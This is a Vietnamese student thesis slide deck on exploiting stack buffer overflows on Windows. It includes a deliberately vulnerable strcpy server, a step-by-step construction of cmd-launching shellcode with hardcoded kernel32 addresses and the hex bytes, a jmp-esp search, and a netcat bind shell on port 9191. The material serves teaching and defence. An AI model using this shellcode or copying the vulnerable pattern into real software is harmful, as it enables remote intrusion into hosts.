Đồ án Tìm hiểu kỹ thuật tấn công thông qua lỗi Tràn bộ đệm trên Window
1. Tổng quan về lỗi Tràn bộ đệm 2. Kỹ thuật tấn công lỗi Tràn bộ đệm trên window 3. Chương trình Demo 4. Kết luận
Bạn đang xem nội dung tài liệu Đồ án Tìm hiểu kỹ thuật tấn công thông qua lỗi Tràn bộ đệm trên Window, để tải tài liệu về máy bạn click vào nút DOWNLOAD ở trên
Trường Đại Học Dân Lập Hải PhòngKhoa Công Nghệ Thông Tin 	 BÁO CÁO ĐỒ ÁN TỐT NGHIỆP Đề tài: Tìm hiểu kỹ thuật tấn công thông qua 	 lỗi Tràn bộ đệm trên Window 	Giáo viên hướng dẫn: Th.S Đỗ Xuân Toàn 	 Sinh viên: Nguyễn Đình Hồng Nội dung trình bày 1. Tổng quan về lỗi Tràn bộ đệm 2. Kỹ thuật tấn công lỗi Tràn bộ đệm trên window 3. Chương trình Demo 4. Kết luận 1.1.Tổ chức bộ nhớ cho các tiến trình 	 	 - Bộ nhớ được phân chia 	 thành 2: 	+ user mode 	+ kernel mode 	Mặc định, 2GB của không gian nhớ ảo được cung cấp cho user mode, vùng địa chỉ 0x00000000 - 0x7fffffff, và phần còn lại, 0x80000000 - 0xBfffffff được dành cho kernel mode. Tổng quan về lỗi tràn bộ đệm 1.2.Tổ chức bộ nhớ của một tiến trình 	 	 - Không gian nhớ gồm 	 3 vùng: 	 + vùng ngăn xếp 	 + vùng dữ liệu 	 + vùng mã lệnh 	 Bộ nhớ của ngăn xếp sẽ lớn dần về phía cuối vùng nhớ khi có nhiều dữ liệu được đẩy vào. Tổng quan về lỗi tràn bộ đệm %ESP %EBP 1.3.Lỗi tràn bộ đệm Xét ví dụ: void fun(char *str){ buffer[126] ; //Cấp phát bộ nhớ cục bộ 126 bytes trên stack strcpy(buffer,str) ; //Sao chép đối số vào bộ đệm stack } Nếu ta gọi hàm: char *str="AAAAAA.......AAAAAAAA" ; //127 chữ A Một lỗi tràn bộ đệm sẽ xảy ra 	 Tổng quan về lỗi tràn bộ đệm 2.1 Khai thác lỗi tràn bộ đệm Kỹ thuật tấn công lỗi Tràn bộ đệm trên window 2.2 Cách xây dựng hàm chức năng khi tấn công (shellcode) - Bước 1: Chúng ta sẽ viết một chương trình, ví dụ viết chương trình để chạy CMD-Shell bằng Visual C: 	#include 	main() 	{char buf[4]; 	buf[0]='c'; 	buf[1]='m'; 	buf[2]='d'; 	buf[3]='\0'; 	WinExec(buf,SW_SHOW); 	exit(1);} Kỹ thuật tấn công lỗi Tràn bộ đệm trên window - Bước 2: dịch sang assembly (chạy debug -> disassembly) 	 push ebp 	 mov ebp,esp 	 push ebx 	 	 push esi 	 push edi 	 mov byte ptr [ebp-4],63h 	 mov byte ptr [ebp-3],6Dh 	 mov byte ptr [ebp-2],64h 	 mov byte ptr [ebp-1],0	 	 push 5 	 lea eax,[ebp-4] 	 push eax 	 call dword ptr [__imp__WinExec@8 (0042413c)] 	 push 1 	 call exit (004010c0) Kỹ thuật tấn công lỗi Tràn bộ đệm trên window - Bước 3: Xác định địa chỉ của các hàm cần dùng trong dll của windows. Trong ví dụ: Chúng ta cần xác định 2 địa chỉ của hàm WinExec và ExitProcess. 	Địa chỉ của WinExec là địa chỉ của KERNEL + địa chỉ con trỏ của WinExec. 	 WinExec = 0x7c800000 + 0x6114d = 0x7c86114d 	Địa chỉ của WinExec là địa chỉ của KERNEL + địa chỉ con trỏ của ExitProcess. 	 ExitProcess = 0x7c800000 + 0x1caa2 = 0x7c81caa2 	Lưu ý: Mỗi phiên bản Windows có 1 địa chỉ cho các dll cơ sở khác nhau Kỹ thuật tấn công lỗi Tràn bộ đệm trên window - Bước 4: Dịch sang mã máy Ta được shellcode như sau: "\x55\x89\xE5\x53\xC6\x45\xFC\x63\xC6\x45\xFD\x6D \xC6\x45\xFE\x64\xC6\x45\xFF\x00\x68\x05\x00\x00\x00 \x8D\x45\xFC\x50\xB8\x4D\x11\x86\x7C\xFF\xD0\x68\x01 \x00\x00\x00\xB8\xA2\xCA\x81\x7C\xFF\xD0"; 	Ta có thể dùng debug trong visual C hoặc dùng hex edit để đọc mã tác vụ Kỹ thuật tấn công lỗi Tràn bộ đệm trên window Bước 5: Xử lý byte NULL 	Do các hàm xử lý chuỗi sẽ hoàn tất ngay khi gặp một ký tự null (\0), vì vậy shellcode phải không được chứa bất kỳ giá trị null nào. Ta sẽ sử dụng thủ thuật sau: 	Sửa đoạn mã assembly bằng cách đặt con trỏ ngăn xếp ESP trỏ đến vị trí của EBP. Sau đó, thực hiện XOR ESI (thực hiện XOR zero vào ESI) 	 Ví dụ: push $0x00 	Sẽ được thay thế tương đương bằng: 	 xor eax, eax 	 push eax 	 Kỹ thuật tấn công lỗi Tràn bộ đệm trên window - Bước 6: Tìm bước nhảy Chúng ta dùng công cụ findjmp để tìm bước nhảy đến con trỏ ESP. 	cú pháp: 	findjmp kernel32.dll esp 	 Kỹ thuật tấn công lỗi Tràn bộ đệm trên window - Bước 7: Gửi shellcode tới server thử nghiệm 	 Kỹ thuật tấn công lỗi Tràn bộ đệm trên window 	 Chúng ta sẽ viết một ứng dụng client/server không an toàn 	và sẽ thực hiện khai thác. 	3.1 Chương trình server 	Trong ứng dụng server có 2 mảng ký tự được khai báo: “buf” và “Message”. Buf được cấp phát 2000 byte, trong khi Message được cấp phát 5000 byte. 	 Khi nhận Message nó copy vào buf thông qua hàm pr (gây ra lỗi). 	void pr( char *str) 	 { 	 char buf[2000]=""; 	 strcpy(buf,str); 	 } Chương trình Demo 	 3.1 Chương trình server 	 	- Lắng nghe trên cổng do ta tự thiết lập 	3.2 Chương trình client 	 - Gửi một thông điệp tới server thông qua cổng 	3.3 Chương trình tấn công 	- Gửi một shellcode tới server thực hiện mở cổng 9191 	 	- Dùng netcat (nc) để kết nối tới server qua cổng 9191 và thực 	thi shellcode chạy CMD Chương trình Demo Kết Luận 	- Qua đề tài này, tìm hiểu được những lỗi tràn bộ đệm, cách khai thác lỗi tràn bộ đệm stack để tấn công một host từ xa. Từ đó rút ra được các kiến thức bao gồm các yêu cầu về bảo mật tối thiểu khi xây dựng một ứng dụng trên mạng. Biết các dò tìm những lỗi tràn bộ đệm stack trong các ứng dụng mạng và phương pháp tấn công vào các lỗi đó. 	- Hướng phát triển của đề tài: Xây dựng những chương trình dò lỗ hổng tràn bộ đệm của các ứng dụng trên mạng. Tìm những phương pháp để vá các lỗ hổng đó khi nó xuất hiện. Em xin Chân thành cảm ơn 
            Các file đính kèm theo tài liệu này:
 do an_Dinh Hong.ppt do an_Dinh Hong.ppt
 Chuong trinh.rar Chuong trinh.rar
 
        
    



 
                    